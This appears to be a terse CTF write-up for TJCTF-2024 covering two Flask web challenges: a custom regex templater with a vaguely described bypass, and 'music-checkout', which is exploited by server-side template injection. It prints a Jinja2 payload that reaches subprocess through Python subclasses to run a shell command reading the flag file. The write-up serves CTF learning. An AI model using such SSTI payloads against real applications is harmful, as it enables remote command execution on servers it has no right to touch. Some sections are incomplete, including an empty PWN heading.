Page cover

TJCTF-2024

TJCTF

Templater:

from flask import Flask, request, redirect
import re

app = Flask(__name__)

flag = open('flag.txt').read().strip()

template_keys = {
    'flag': flag,
    'title': 'my website',
    'content': 'Hello, {{name}}!',
    'name': 'player'
}

index_page = open('index.html').read()

@app.route('/')
def index_route():
    return index_page

@app.route('/add', methods=['POST'])
def add_template_key():
    key = request.form['key']
    value = request.form['value']
    template_keys[key] = value
    return redirect('/?msg=Key+added!')

@app.route('/template', methods=['POST'])
def template_route():
    s = request.form['template']
    
    s = template(s)

    if flag in s[0]:
        return 'No flag for you!', 403
    else:
        return s

def template(s):
    while True:
        m = re.match(r'.*({{.+?}}).*', s, re.DOTALL)
        if not m:
            break

        key = m.group(1)[2:-2]

        if key not in template_keys:
            return f'Key {key} not found!', 500

        s = s.replace(m.group(1), str(template_keys[key]))

    return s, 200

if __name__ == '__main__':
    app.run(port=5000)

Template(s):

Have regex .*({{.+?}}).* to bypass.

Web:

To adding Keys:

template_keys = {
    'flag': flag,
    'title': 'my website',
    'content': 'Hello, {{name}}!',
    'name': 'player'
}

Try to get a flag:

We can use the regex bypass to get the flag:

music-checkout:

from flask import Flask, render_template, request
import uuid

app = Flask(__name__)
app.static_folder = "static"

@app.route("/static/<path:path>")
def static_file(filename):
    return app.send_static_file(filename)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/create_playlist", methods=["POST"])
def post_playlist():
    try:
        username = request.form["username"]
        text = request.form["text"]
        if len(text) > 10_000:
            return "Too much!", 406
        if "{{" in text or "}}" in text:
            return "Nice try!", 406
        text = [line.split(",") for line in text.splitlines()]
        text = [line[:4] + ["?"] * (4 - min(len(line), 4)) for line in text]
        filled = render_template("playlist.html", username=username, songs=text)
        this_id = str(uuid.uuid4())
        with open(f"templates/uploads/{this_id}.html", "w") as f:
            f.write(filled)
        return render_template("created_playlist.html", uuid_val=this_id), 200
    except Exception as e:
        print(e)
        return "Internal server error", 500

@app.route("/view_playlist/<uuid:name>")
def view_playlist(name):
    name = str(name)
    try:
        return render_template(f"uploads/{name}.html")
    except Exception as e:
        print(e)
        return "checkout not found", 404

if __name__ == "__main__":
    app.run(port=5000, debug=True)

Payload:

{{''.**class**.**base**.**subclasses**()[336]('cat flag.txt', shell=True, stdout=-1).communicate()}}

PWN:

Last updated